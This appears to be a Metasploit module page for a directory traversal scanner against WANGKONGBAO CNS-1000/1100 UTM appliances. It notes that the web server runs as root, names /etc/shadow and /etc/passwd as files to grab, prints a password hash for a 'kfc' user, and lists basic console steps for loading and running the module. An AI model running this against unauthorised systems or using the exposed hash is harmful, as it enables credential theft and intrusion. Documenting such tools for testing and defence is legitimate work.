WANGKONGBAO CNS-1000 and 1100 UTM Directory Traversal



This module exploits the WANGKONGBAO CNS-1000 and 1100 UTM appliances aka Network Security Platform. This directory traversal vulnerability is interesting because the apache server is running as root, this means we can grab anything we want! For instance, the /etc/shadow and /etc/passwd files for the special kfc:$1$SlSyHd1a$PFZomnVnzaaj3Ei2v1ByC0:15488:0:99999:7::: user

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/scanner/http/wangkongbao_traversal
msf auxiliary(wangkongbao_traversal) > show actions
msf auxiliary(wangkongbao_traversal) > set ACTION < action-name >
msf auxiliary(wangkongbao_traversal) > show options
    ...show and set options...
msf auxiliary(wangkongbao_traversal) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
